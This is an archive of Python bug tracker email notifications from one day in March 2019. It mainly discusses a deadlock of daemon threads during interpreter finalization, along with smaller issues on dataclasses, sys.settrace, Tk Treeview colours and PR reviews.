I updated the PR with wording similar to that. I don't want to bikeshed too much about the precise wording. If you disagree with my variant, I'll use your proposal verbatim.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36448>
_______________________________________

From report at bugs.python.org  Fri Mar 29 12:03:46 2019
From: report at bugs.python.org (Jeroen Demeyer)
Date: Fri, 29 Mar 2019 16:03:46 +0000
Subject: [issue35707] time.sleep() should support objects with __float__
In-Reply-To: <1547135919.8.0.0876776516097.issue35707@roundup.psfhosted.org>
Message-ID: <1553875426.36.0.839804109177.issue35707@roundup.psfhosted.org>


Jeroen Demeyer <J.Demeyer at UGent.be> added the comment:

Is anybody willing to review PR 11636?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35707>
_______________________________________

From report at bugs.python.org  Fri Mar 29 12:08:52 2019
From: report at bugs.python.org (Eric Snow)
Date: Fri, 29 Mar 2019 16:08:52 +0000
Subject: [issue30703] Non-reentrant signal handler
 (test_multiprocessing_forkserver hangs)
In-Reply-To: <1497885657.03.0.477288552654.issue30703@psf.upfronthosting.co.za>
Message-ID: <1553875732.61.0.0388559485164.issue30703@roundup.psfhosted.org>


Change by Eric Snow <ericsnowcurrently at gmail.com>:


----------
nosy: +eric.snow

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue30703>
_______________________________________

From report at bugs.python.org  Fri Mar 29 12:12:06 2019
From: report at bugs.python.org (Greg Kuhn)
Date: Fri, 29 Mar 2019 16:12:06 +0000
Subject: [issue36470] dataclasses.replace raises an exception if InitVar with
 default argument is not provided.
In-Reply-To: <1553860338.68.0.823118501948.issue36470@roundup.psfhosted.org>
Message-ID: <1553875926.11.0.609400165907.issue36470@roundup.psfhosted.org>


Greg Kuhn <gregorykuhn at gmail.com> added the comment:

Fixed title

----------
title: dataclasses replace raises an exception with an empty -> dataclasses.replace raises an exception if InitVar with default argument is not provided.

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36470>
_______________________________________

From report at bugs.python.org  Fri Mar 29 12:15:07 2019
From: report at bugs.python.org (Eric Snow)
Date: Fri, 29 Mar 2019 16:15:07 +0000
Subject: [issue36469] Stuck during interpreter exit, attempting to take the GIL
In-Reply-To: <1553856319.46.0.350569249761.issue36469@roundup.psfhosted.org>
Message-ID: <1553876107.92.0.125959878051.issue36469@roundup.psfhosted.org>


Eric Snow <ericsnowcurrently at gmail.com> added the comment:

* Are any signals (or signal handlers) involved?
* Are you monkeypatching any builtins, builtin/stdlib modules (or any parts of those)?

Keep in mind that a number of bugs have been fixed in later releases related to the various things I've asked about.  For instance, see issue #30703.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36469>
_______________________________________

From report at bugs.python.org  Fri Mar 29 13:05:40 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Fri, 29 Mar 2019 17:05:40 +0000
Subject: [issue34915] LWPCookieJar.save() creates *.lwp file in 644 mode
In-Reply-To: <1538834336.96.0.545547206417.issue34915@psf.upfronthosting.co.za>
Message-ID: <1553879140.36.0.730520065284.issue34915@roundup.psfhosted.org>


Karthikeyan Singaravelan <tir.karthi at gmail.com> added the comment:

I guess this is a good choice and distutils stores .pypirc [0] in this manner that has username and password. 

[0] https://github.com/python/cpython/blob/2f54908afc5665937d763510b4430f10cf764641/Lib/distutils/config.py#L45

----------
nosy: +xtreak

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue34915>
_______________________________________

From report at bugs.python.org  Fri Mar 29 13:18:14 2019
From: report at bugs.python.org (=?utf-8?q?Miro_Hron=C4=8Dok?=)
Date: Fri, 29 Mar 2019 17:18:14 +0000
Subject: [issue35224] PEP 572: Assignment Expressions
In-Reply-To: <1542070337.94.0.788709270274.issue35224@psf.upfronthosting.co.za>
Message-ID: <1553879894.8.0.472055447709.issue35224@roundup.psfhosted.org>


Change by Miro Hron?ok <miro at hroncok.cz>:


----------
nosy:  -hroncok

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35224>
_______________________________________

From report at bugs.python.org  Fri Mar 29 14:37:42 2019
From: report at bugs.python.org (Steve Dower)
Date: Fri, 29 Mar 2019 18:37:42 +0000
Subject: [issue36448] Message "You will need to rebuild pythoncore to see the
 changes" should mention "make regen-all"
In-Reply-To: <1553685661.75.0.808746958355.issue36448@roundup.psfhosted.org>
Message-ID: <1553884662.0.0.279146659792.issue36448@roundup.psfhosted.org>


Steve Dower <steve.dower at python.org> added the comment:


New changeset 3396d1e0ca858065c5bb7e5a9737be6ffc4028f7 by Steve Dower (Jeroen Demeyer) in branch 'master':
bpo-36448: mention 'make regen-all' in error message (GH-12585)
https://github.com/python/cpython/commit/3396d1e0ca858065c5bb7e5a9737be6ffc4028f7


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36448>
_______________________________________

From report at bugs.python.org  Fri Mar 29 14:37:59 2019
From: report at bugs.python.org (Brett Cannon)
Date: Fri, 29 Mar 2019 18:37:59 +0000
Subject: [issue36472] Some old PR with CLA not signed
In-Reply-To: <1553863553.65.0.206304319022.issue36472@roundup.psfhosted.org>
Message-ID: <1553884679.93.0.525407540965.issue36472@roundup.psfhosted.org>


Brett Cannon <brett at python.org> added the comment:

I'm already going through the "CLA not signed" issues and cleaning them up, so there's no need for anyone to duplicate my work.

And this is not a steering council concern but a core-workflow concern.

----------
resolution:  -> not a bug
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36472>
_______________________________________

From report at bugs.python.org  Fri Mar 29 14:38:23 2019
From: report at bugs.python.org (Steve Dower)
Date: Fri, 29 Mar 2019 18:38:23 +0000
Subject: [issue36448] Message "You will need to rebuild pythoncore to see the
 changes" should mention "make regen-all"
In-Reply-To: <1553685661.75.0.808746958355.issue36448@roundup.psfhosted.org>
Message-ID: <1553884703.22.0.531251224958.issue36448@roundup.psfhosted.org>


Steve Dower <steve.dower at python.org> added the comment:

Merged. It doesn't need a backport - the target audience is CI users who will see this on master first.

----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed
type:  -> compile error
versions:  -Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36448>
_______________________________________

From report at bugs.python.org  Fri Mar 29 14:39:52 2019
From: report at bugs.python.org (Brett Cannon)
Date: Fri, 29 Mar 2019 18:39:52 +0000
Subject: [issue36463] python37.dll crashing 0xc000041d
In-Reply-To: <1553801566.37.0.489496504409.issue36463@roundup.psfhosted.org>
Message-ID: <1553884792.1.0.184348659511.issue36463@roundup.psfhosted.org>


Brett Cannon <brett at python.org> added the comment:

Please provide code which consistently causes the crash, otherwise your use of ctypes makes the very likely not Python's fault and nearly impossible to debug without a working example.

----------
nosy: +brett.cannon
status: open -> pending

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36463>
_______________________________________

From report at bugs.python.org  Fri Mar 29 14:40:03 2019
From: report at bugs.python.org (Brett Cannon)
Date: Fri, 29 Mar 2019 18:40:03 +0000
Subject: [issue36463] python37.dll crashing 0xc000041d
In-Reply-To: <1553801566.37.0.489496504409.issue36463@roundup.psfhosted.org>
Message-ID: <1553884803.08.0.365644421342.issue36463@roundup.psfhosted.org>


Change by Brett Cannon <brett at python.org>:


----------
nosy:  -brett.cannon
status: pending -> open

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36463>
_______________________________________

From report at bugs.python.org  Fri Mar 29 14:40:49 2019
From: report at bugs.python.org (Carol Willing)
Date: Fri, 29 Mar 2019 18:40:49 +0000
Subject: [issue35224] PEP 572: Assignment Expressions
In-Reply-To: <1542070337.94.0.788709270274.issue35224@psf.upfronthosting.co.za>
Message-ID: <1553884849.96.0.569277479692.issue35224@roundup.psfhosted.org>


Carol Willing <willingc at gmail.com> added the comment:

@veky As a Jupyter notebook maintainer, I can see your point and I suspect some would like it. I'm not sure how big a benefit it would be for folks based on current notebook usage and practices. I just don't know. It's worth a discussion, but it should take place on python-ideas first to see how much traction your proposal would have.

Let's keep this issue focused on the implementation of 572 as accepted.

----------
nosy: +willingc

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35224>
_______________________________________

From report at bugs.python.org  Fri Mar 29 14:47:32 2019
From: report at bugs.python.org (Remy Noel)
Date: Fri, 29 Mar 2019 18:47:32 +0000
Subject: [issue36469] Stuck during interpreter exit, attempting to take the GIL
In-Reply-To: <1553856319.46.0.350569249761.issue36469@roundup.psfhosted.org>
Message-ID: <1553885252.89.0.56145059544.issue36469@roundup.psfhosted.org>


Remy Noel <remy.noel at blade-group.com> added the comment:

std modules: atexit, json, os, signal, socket, ssl, subprocess, sys, time, threading, xmlrpc.client
The non-standard extension: psutil, PIL (only for image encoding though).

The amount of threads may vary, but i may have around 20 threads at all time. Most of them are indeed demon threads.

I have one atexit handler: i executes a few subprocess and pereform a few xmlrpc calls then exit. In this case, the handler go fully executed.

There are signal handlers, but none of them got called.

No monkeypatching is involved :)

I only browsed the patch up until the 3.5 head. (i guess il lacked to courage to go up to 3.7).

I tried to write a reproduction case, but i failed to run into the error. Of course, i will try to improve it if i get a clue about a way to increase the likelyness of the problem.
Sadly, all i have right now is a process i can attach to.

----------
type: behavior -> 

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36469>
_______________________________________

From report at bugs.python.org  Fri Mar 29 14:50:39 2019
From: report at bugs.python.org (Eric Snow)
Date: Fri, 29 Mar 2019 18:50:39 +0000
Subject: [issue36469] Stuck during interpreter exit, attempting to take the GIL
In-Reply-To: <1553856319.46.0.350569249761.issue36469@roundup.psfhosted.org>
Message-ID: <1553885439.28.0.23680438891.issue36469@roundup.psfhosted.org>


Eric Snow <ericsnowcurrently at gmail.com> added the comment:

At this point I think it's likely that the problem relates to how daemon threads are handled during runtime finalization.

What normally happens in the main thread of the "python3" executable is this:

1. Python runtime initializes
2. main interpreter initializes
3. the requested code is executed (in this case via PyRun_SimpleFileExFlags)
4. the runtime is finalized
   a. wait for all non-daemon threads to finish
   b. call registered atexit funcs
   c. mark the runtime as finalizing
   d. ...

>From the stack trace you gave, the main thread is definitely past step 4c in the runtime finalization process.

Note the following:

* marking the runtime as finalizing is meant to cause all remaining daemon threads to exit the next time they take the GIL
* further, runtime finalization assumes that all daemon threads will have finished soon after step 4c
* not all C-API functions for acquiring the GIL actually cause the current thread to exit if the runtime is finalizing (see below)
* step 4a applies only to the main interpreter; using subinterpreters complicates the situation a little (threads get finalized with each subinterpreter later on)
* any thread created in an atexit func (4b) can cause problems

Cause thread to exit if runtime is finalizing:

* PyEval_RestoreThread()
* PyEval_EvalFrameEx()  (the eval loop)

Do not cause thread to exit if runtime is finalizing:

* PyEval_InitThreads()
* PyEval_ReInitThreads()
* PyEval_AcquireLock()
* PyEval_AcquireThread()

Regardless, from what you've reported it looks like the following is happening:

m1. main thread starts
m2. thread A (daemon) created
m3. thread B (daemon) created (by main thread or thread A)
m4. code in main thread raises SystemExit
m5. the Python runtime begins finalization (incl. steps 4a-4c above)
m6. the main thread starts cleaning up the main interpreter
m7. it starts cleaning up the main interpreter's threads
m8. it acquires the "head" lock
m9. it starts cleaning up the frame tied to one of those threads
m10. a socket object in that frame gets destroyed
m11. a warning is issued (presumably about an unclosed socket)

tB1. thread B (still running) acquires GIL
tB2. it does not release the GIL

m12. creating the warning causes a function to get called (socket.__repr__)
m13. this causes the main thread to try to acquire the GIL
m14. it blocks (waiting for thread B)

tA1. thread A (still running) finishes and starts cleaning itself up
tA2. it tries to acquire the "head" lock
tA3. it blocks (waiting for the main thread)


Notable:

* at step m7 the code assumes that all the interpreter's threads have exited at that point
* with the verbose flag to "python3", the runtime will print a warning if any thread is still running when its (finalizing) interpreter tries to clean it up

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36469>
_______________________________________

From report at bugs.python.org  Fri Mar 29 14:59:07 2019
From: report at bugs.python.org (Eric Snow)
Date: Fri, 29 Mar 2019 18:59:07 +0000
Subject: [issue36469] Stuck during interpreter exit, attempting to take the GIL
In-Reply-To: <1553856319.46.0.350569249761.issue36469@roundup.psfhosted.org>
Message-ID: <1553885947.94.0.379897151225.issue36469@roundup.psfhosted.org>


Eric Snow <ericsnowcurrently at gmail.com> added the comment:

Here are some things that would likely help:

* in the main thread stop your daemon threads if you hit SystemExit
* make sure daemon threads release/acquire the GIL frequently (so they notice finalization)
* make sure daemon threads otherwise exit promptly (no long running C code)
* stop using daemon threads
* use a newer version of Python (may be fixed there)

I'm going take a look at master to see if it has a similar possible problem with daemon threads and runtime finalization.  If there is then I'll likely open a separate issue (and reference it here).

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36469>
_______________________________________

From report at bugs.python.org  Fri Mar 29 15:11:18 2019
From: report at bugs.python.org (daniel hahler)
Date: Fri, 29 Mar 2019 19:11:18 +0000
Subject: [issue36474] RecursionError resets trace function set via sys.settrace
Message-ID: <1553886678.98.0.673623780459.issue36474@roundup.psfhosted.org>


New submission from daniel hahler <python-bugs at thequod.de>:

A RecursionError causes the trace function set via `sys.settrace` to get removed/unset.

Given the following script:

```
import sys


def trace(*args):
    print("trace", args)
    return trace

sys.settrace(trace)


def f():
    f()


print(sys.gettrace())
try:
    f()
except Exception as exc:
    print(exc)
print(sys.gettrace())
```

Running it will output:
```
<function trace at 0x7f848594f6c0>
trace (<frame at 0x7f84859a5d98, file 't-settrace-recursionerror.py', line 11, code f>, 'call', None)
trace (<frame at 0x7f84859a5d98, file 't-settrace-recursionerror.py', line 12, code f>, 'line', None)
trace (<frame at 0x7f84858f73a0, file 't-settrace-recursionerror.py', line 11, code f>, 'call', None)
trace (<frame at 0x7f84858f73a0, file 't-settrace-recursionerror.py', line 12, code f>, 'line', None)
?
trace (<frame at 0x7f84857f0c80, file 't-settrace-recursionerror.py', line 11, code f>, 'call', None)
trace (<frame at 0x7f84857f0c80, file 't-settrace-recursionerror.py', line 12, code f>, 'line', None)
trace maximum recursion depth exceeded while getting the repr of an object
None

```

----------
components: Interpreter Core
messages: 339135
nosy: blueyed
priority: normal
severity: normal
status: open
title: RecursionError resets trace function set via sys.settrace
versions: Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36474>
_______________________________________

From report at bugs.python.org  Fri Mar 29 15:13:47 2019
From: report at bugs.python.org (daniel hahler)
Date: Fri, 29 Mar 2019 19:13:47 +0000
Subject: [issue36474] RecursionError resets trace function set via sys.settrace
In-Reply-To: <1553886678.98.0.673623780459.issue36474@roundup.psfhosted.org>
Message-ID: <1553886827.83.0.929971625936.issue36474@roundup.psfhosted.org>


daniel hahler <python-bugs at thequod.de> added the comment:

Discovered via / relevant for coverage's PyTracer: https://github.com/nedbat/coveragepy/issues/787.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36474>
_______________________________________

From report at bugs.python.org  Fri Mar 29 15:22:18 2019
From: report at bugs.python.org (Remy Noel)
Date: Fri, 29 Mar 2019 19:22:18 +0000
Subject: [issue36469] Stuck during interpreter exit, attempting to take the GIL
In-Reply-To: <1553856319.46.0.350569249761.issue36469@roundup.psfhosted.org>
Message-ID: <1553887338.14.0.718217454357.issue36469@roundup.psfhosted.org>


Remy Noel <remy.noel at blade-group.com> added the comment:

Thank you a lot for this detailed answer.

Does the "causes of exit" may terminate the thread without releasing the GIL ?
Because as far as i can tell, none of the threads seems to own the GIL (i only checked _PyThreadState_Current though there might be a better way to find the GIL owner).
Therefore, the question is whether thread B is still alive after tB2. and, if so, whether we can find it. (Or whether we can understand why it left without releasing the GIL).

Is there any variable i may check to dig this further ?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36469>
_______________________________________

From report at bugs.python.org  Fri Mar 29 15:26:20 2019
From: report at bugs.python.org (Eric Snow)
Date: Fri, 29 Mar 2019 19:26:20 +0000
Subject: [issue36475] PyEval_AcquireLock() and PyEval_AcquireThread() do not
 handle runtime finalization properly.
Message-ID: <1553887580.94.0.470279627742.issue36475@roundup.psfhosted.org>


New submission from Eric Snow <ericsnowcurrently at gmail.com>:

Daemon threads keep running until they finish or until finalization starts.  For the latter, there is a check right after the thread acquires the GIL which causes the thread to exit if runtime finalization has started. [1]  However, there are functions in the C-API that facilitate acquiring the GIL, but do not cause the thread to exit during finalization:

  PyEval_AcquireLock()
  PyEval_AcquireThread()

Daemon threads that acquire the GIL through these can cause a deadlock during finalization.  (See issue #36469.)  They should probably be updated to match what PyEval_RestoreThread() does.


[1] see PyEval_RestoreThread() and the eval loop, in PyEval_EvalFrameEx()

----------
messages: 339138
nosy: eric.snow
priority: normal
severity: normal
stage: test needed
status: open
title: PyEval_AcquireLock() and PyEval_AcquireThread() do not handle runtime finalization properly.
type: behavior
versions: Python 3.7, Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36475>
_______________________________________

From report at bugs.python.org  Fri Mar 29 15:27:32 2019
From: report at bugs.python.org (Remy Noel)
Date: Fri, 29 Mar 2019 19:27:32 +0000
Subject: [issue36469] Stuck during interpreter exit, attempting to take the GIL
In-Reply-To: <1553856319.46.0.350569249761.issue36469@roundup.psfhosted.org>
Message-ID: <1553887652.56.0.427921219111.issue36469@roundup.psfhosted.org>


Remy Noel <remy.noel at blade-group.com> added the comment:

Oh, also, i do not use any C extension (apart from the one i mentionned), so i do not acquire/release the GIL directly (a component of the standard library would do so). 

The demon threads, mainly spend their time listening to sockets and running short subprocesses (all in pure python).

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36469>
_______________________________________

From report at bugs.python.org  Fri Mar 29 15:30:01 2019
From: report at bugs.python.org (Eric Snow)
Date: Fri, 29 Mar 2019 19:30:01 +0000
Subject: [issue36469] Stuck during interpreter exit, attempting to take the GIL
In-Reply-To: <1553856319.46.0.350569249761.issue36469@roundup.psfhosted.org>
Message-ID: <1553887801.97.0.951131628176.issue36469@roundup.psfhosted.org>


Eric Snow <ericsnowcurrently at gmail.com> added the comment:

I've opened issue36475 for the two C-API functions that do not cause daemon threads to exit.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36469>
_______________________________________

From report at bugs.python.org  Fri Mar 29 15:55:59 2019
From: report at bugs.python.org (Ivan Levkivskyi)
Date: Fri, 29 Mar 2019 19:55:59 +0000
Subject: [issue36470] dataclasses.replace raises an exception if InitVar with
 default argument is not provided.
In-Reply-To: <1553860338.68.0.823118501948.issue36470@roundup.psfhosted.org>
Message-ID: <1553889359.27.0.0932143310465.issue36470@roundup.psfhosted.org>


Change by Ivan Levkivskyi <levkivskyi at gmail.com>:


----------
nosy: +levkivskyi

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36470>
_______________________________________

From report at bugs.python.org  Fri Mar 29 15:56:15 2019
From: report at bugs.python.org (Ivan Levkivskyi)
Date: Fri, 29 Mar 2019 19:56:15 +0000
Subject: [issue36466] Adding a way to strip annotations from compiled bytecode
In-Reply-To: <1553825507.66.0.407362572806.issue36466@roundup.psfhosted.org>
Message-ID: <1553889375.63.0.393126593684.issue36466@roundup.psfhosted.org>


Change by Ivan Levkivskyi <levkivskyi at gmail.com>:


----------
nosy: +gvanrossum, levkivskyi

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36466>
_______________________________________

From report at bugs.python.org  Fri Mar 29 15:56:27 2019
From: report at bugs.python.org (Eric Snow)
Date: Fri, 29 Mar 2019 19:56:27 +0000
Subject: [issue36469] Stuck during interpreter exit, attempting to take the GIL
In-Reply-To: <1553856319.46.0.350569249761.issue36469@roundup.psfhosted.org>
Message-ID: <1553889387.99.0.215153808042.issue36469@roundup.psfhosted.org>


Eric Snow <ericsnowcurrently at gmail.com> added the comment:

Looking at the stack traces for all your threads (super helpful, BTW), I saw 4 groups:

* (1) main thread (blocked on GIL during runtime finalization)
   + Thread 1
* (12) blocked on GIL in call to PyEval_RestoreThread() (socket, select, time.sleep(), file.read())
* (3) waiting for a connection on a socket (with GIL not held, presumably)
   + Thread 5
   + Thread 12
   + Thread 14
* (1) blocked on a threading.Lock
   + Thread 7
* (1) blocked on "head" lock when cleaning up after execution
   + Thread 18

So there's a third lock involved in this deadlock.  It isn't actually clear to me (without further digging) which thread actually holds the GIL.  I'd guess it's one of the last two (though it could be one of the 3 waiting on a socket).  However, in each of those cases I would not expect the GIL to be held at that point.

Regardless, the race likely involves the threading.Lock being held late in finalization.  It could be that you are not releasing it somewhere where you should be.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36469>
_______________________________________

From report at bugs.python.org  Fri Mar 29 15:57:42 2019
From: report at bugs.python.org (Eric Snow)
Date: Fri, 29 Mar 2019 19:57:42 +0000
Subject: [issue36475] PyEval_AcquireLock() and PyEval_AcquireThread() do not
 handle runtime finalization properly.
In-Reply-To: <1553887580.94.0.470279627742.issue36475@roundup.psfhosted.org>
Message-ID: <1553889462.95.0.991812224249.issue36475@roundup.psfhosted.org>


Change by Eric Snow <ericsnowcurrently at gmail.com>:


----------
components: +Interpreter Core

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36475>
_______________________________________

From report at bugs.python.org  Fri Mar 29 16:33:08 2019
From: report at bugs.python.org (Ned Deily)
Date: Fri, 29 Mar 2019 20:33:08 +0000
Subject: [issue36468] Treeview: wrong color change
In-Reply-To: <1553848318.4.0.250762836848.issue36468@roundup.psfhosted.org>
Message-ID: <1553891588.61.0.109224742942.issue36468@roundup.psfhosted.org>


Ned Deily <nad at python.org> added the comment:

Thanks for the report.  The difference in behavior appears to be due to a change in Tk. Using the python.org 3.7.2 or .3 installers which use Tk 8.6.8, the colors are displayed.  But if I use a Python linked with Tk 8.6.9, the bars are not colored.  You can run the following commands in Python to verify which version of Tk is in use:

import tkinter
root = tkinter.Tk()
root.tk.call('info', 'patchlevel')

In any case, there isn't likely anything Python can do about it as tkinter is pretty much a thin wrapper around calls to Tk and it's difficult to know what the expected Tk behavior is.  If you want to pursue this issue, I suggest bringing it up on a Tk forum or checking whether there is a Tk issue about it.

But I had luck! Doing a quick search, I found this Tk ticket which seems to describe your problem and does confirm that the behavior change was introduced in 8.6.9:

https://core.tcl.tk/tk/info/509cafafae

----------
nosy: +ned.deily
resolution:  -> third party
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36468>
_______________________________________

From report at bugs.python.org  Fri Mar 29 16:38:26 2019
From: report at bugs.python.org (Eric Snow)
Date: Fri, 29 Mar 2019 20:38:26 +0000
Subject: [issue36476] Runtime finalization assumes all other threads have
 exited.
Message-ID: <1553891906.3.0.987802696833.issue36476@roundup.psfhosted.org>


New submission from Eric Snow <ericsnowcurrently at gmail.com>:

Among the first 3 things that happen in Py_FinalizeEx() are, in order:

1. wait for all non-daemon threads (of the main interpreter) to finish
2. call registered atexit funcs
3. mark the runtime as finalizing

At that point the only remaining Python threads are:

* the main thread (where finalization is happening)
* daemon threads
* non-daemon threads created in atexit functions
* any threads belonging to subinterpreters

The next time any of those threads (aside from main) acquire the GIL, we expect that they will exit via a call to PyThread_exit_thread() (caveat: issue #36475).  However, we have no guarantee on when that will happen, if ever.  Such lingering threads can cause problems, including crashes and deadlock (see issue #36469).

I don't know what else we can do, beyond what we're already doing.  Any ideas?

----------
components: Interpreter Core
messages: 339143
nosy: eric.snow
priority: normal
severity: normal
status: open
title: Runtime finalization assumes all other threads have exited.
type: behavior
versions: Python 3.7, Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36476>
_______________________________________

From report at bugs.python.org  Fri Mar 29 16:39:27 2019
From: report at bugs.python.org (Eric Snow)
Date: Fri, 29 Mar 2019 20:39:27 +0000
Subject: [issue36477] Subinterpreters are not finalized during runtime
 finalization.
Message-ID: <1553891967.48.0.271328539114.issue36477@roundup.psfhosted.org>


New submission from Eric Snow <ericsnowcurrently at gmail.com>:

When using subinterpreters, any that exist when Py_FinalizeEx() is called do not appear to get cleaned up during runtime finalization.  Maybe I've been looking at the code too much and I'm missing something. :)

This really isn't a problem except for embedders that use subinterpreters (where we're leaking memory).  However, even with the "python" executable it can have an impact because the subinterpreters' non-daemon threads will exit later than expected. (see #36469 & #36476)

The solution would be to finalize all subinterpreters at the beginning of Py_FinalizeEx(), right before the call to wait_for_thread_shutdown().  This means calling Py_EndInterpreter() for all the runtime's interpreters (except the main one).  It would also mean setting a flag (_PyRuntime.interpreters.finalizing?) right before that to disallow creation of any more subinterptreters.

----------
components: Interpreter Core
messages: 339144
nosy: eric.snow
priority: normal
severity: normal
stage: needs patch
status: open
title: Subinterpreters are not finalized during runtime finalization.
type: behavior
versions: Python 3.7, Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36477>
_______________________________________

From report at bugs.python.org  Fri Mar 29 16:40:12 2019
From: report at bugs.python.org (Eric Snow)
Date: Fri, 29 Mar 2019 20:40:12 +0000
Subject: [issue36476] Runtime finalization assumes all other threads have
 exited.
In-Reply-To: <1553891906.3.0.987802696833.issue36476@roundup.psfhosted.org>
Message-ID: <1553892012.33.0.0185949129045.issue36476@roundup.psfhosted.org>


Eric Snow <ericsnowcurrently at gmail.com> added the comment:

FYI, I've opened issue36477 to deal with the subinterpreters case.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36476>
_______________________________________

From report at bugs.python.org  Fri Mar 29 16:41:32 2019
From: report at bugs.python.org (Eric Snow)
Date: Fri, 29 Mar 2019 20:41:32 +0000
Subject: [issue36469] Stuck during interpreter exit, attempting to take the GIL
In-Reply-To: <1553856319.46.0.350569249761.issue36469@roundup.psfhosted.org>
Message-ID: <1553892092.78.0.720323443985.issue36469@roundup.psfhosted.org>


Eric Snow <ericsnowcurrently at gmail.com> added the comment:

I've also opened issues #36476 and #36477.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36469>
_______________________________________

From report at bugs.python.org  Fri Mar 29 16:48:18 2019
From: report at bugs.python.org (Eric Snow)
Date: Fri, 29 Mar 2019 20:48:18 +0000
Subject: [issue36469] Stuck during interpreter exit, attempting to take the GIL
In-Reply-To: <1553856319.46.0.350569249761.issue36469@roundup.psfhosted.org>
Message-ID: <1553892498.85.0.425011371738.issue36469@roundup.psfhosted.org>


Eric Snow <ericsnowcurrently at gmail.com> added the comment:

@Remy, aside from the recommendations I've made, I'm not sure what else we can do to help.  Before we close the issue, I'd really like to ensure that one of those threads is holding the GIL still.  It would definitely be a problem if a thread exited while still holding the GIL.  The only way I can think of is to trace through the code. [1]


[1] https://github.com/python/cpython/tree/v3.5.3

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36469>
_______________________________________

From report at bugs.python.org  Fri Mar 29 16:54:29 2019
From: report at bugs.python.org (Brett Cannon)
Date: Fri, 29 Mar 2019 20:54:29 +0000
Subject: [issue31182] Suggested Enhancements to zipfile & tarfile command line
 interfaces
In-Reply-To: <1502439956.47.0.572068463872.issue31182@psf.upfronthosting.co.za>
Message-ID: <1553892869.95.0.69306906876.issue31182@roundup.psfhosted.org>


Brett Cannon <brett at python.org> added the comment:

I'm going to agree w/ Serhiy and say thanks to Steve for the idea but for maintainability purposes we should keep the CLI of both modules simple and only for critical operations.

----------
nosy: +brett.cannon

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue31182>
_______________________________________

From report at bugs.python.org  Fri Mar 29 16:54:42 2019
From: report at bugs.python.org (Brett Cannon)
Date: Fri, 29 Mar 2019 20:54:42 +0000
Subject: [issue31182] Suggested Enhancements to zipfile & tarfile command line
 interfaces
In-Reply-To: <1502439956.47.0.572068463872.issue31182@psf.upfronthosting.co.za>
Message-ID: <1553892882.35.0.546189195502.issue31182@roundup.psfhosted.org>


Change by Brett Cannon <brett at python.org>:


----------
resolution:  -> rejected
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue31182>
_______________________________________

From report at bugs.python.org  Fri Mar 29 17:00:35 2019
From: report at bugs.python.org (Eric Snow)
Date: Fri, 29 Mar 2019 21:00:35 +0000
Subject: [issue36477] Subinterpreters are not finalized during runtime
 finalization.
In-Reply-To: <1553891967.48.0.271328539114.issue36477@roundup.psfhosted.org>
Message-ID: <1553893235.8.0.80864822838.issue36477@roundup.psfhosted.org>


Change by Eric Snow <ericsnowcurrently at gmail.com>:


----------
resolution:  -> duplicate
stage: needs patch -> resolved
status: open -> closed
superseder:  -> Lingering subinterpreters should be implicitly cleared on shutdown

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36477>
_______________________________________

From report at bugs.python.org  Fri Mar 29 17:02:51 2019
From: report at bugs.python.org (Eric Snow)
Date: Fri, 29 Mar 2019 21:02:51 +0000
Subject: [issue36225] Lingering subinterpreters should be implicitly cleared
 on shutdown
In-Reply-To: <1551964663.69.0.686712846789.issue36225@roundup.psfhosted.org>
Message-ID: <1553893371.18.0.424622077105.issue36225@roundup.psfhosted.org>


Eric Snow <ericsnowcurrently at gmail.com> added the comment:

Interestingly, I noticed this independently today. :)

Here's what I wrote in #36477 (which I've closed as a duplicate):

When using subinterpreters, any that exist when Py_FinalizeEx() is called do not appear to get cleaned up during runtime finalization.  Maybe I've been looking at the code too much and I'm missing something. :)

This really isn't a problem except for embedders that use subinterpreters (where we're leaking memory).  However, even with the "python" executable it can have an impact because the subinterpreters' non-daemon threads will exit later than expected. (see #36469 & #36476)

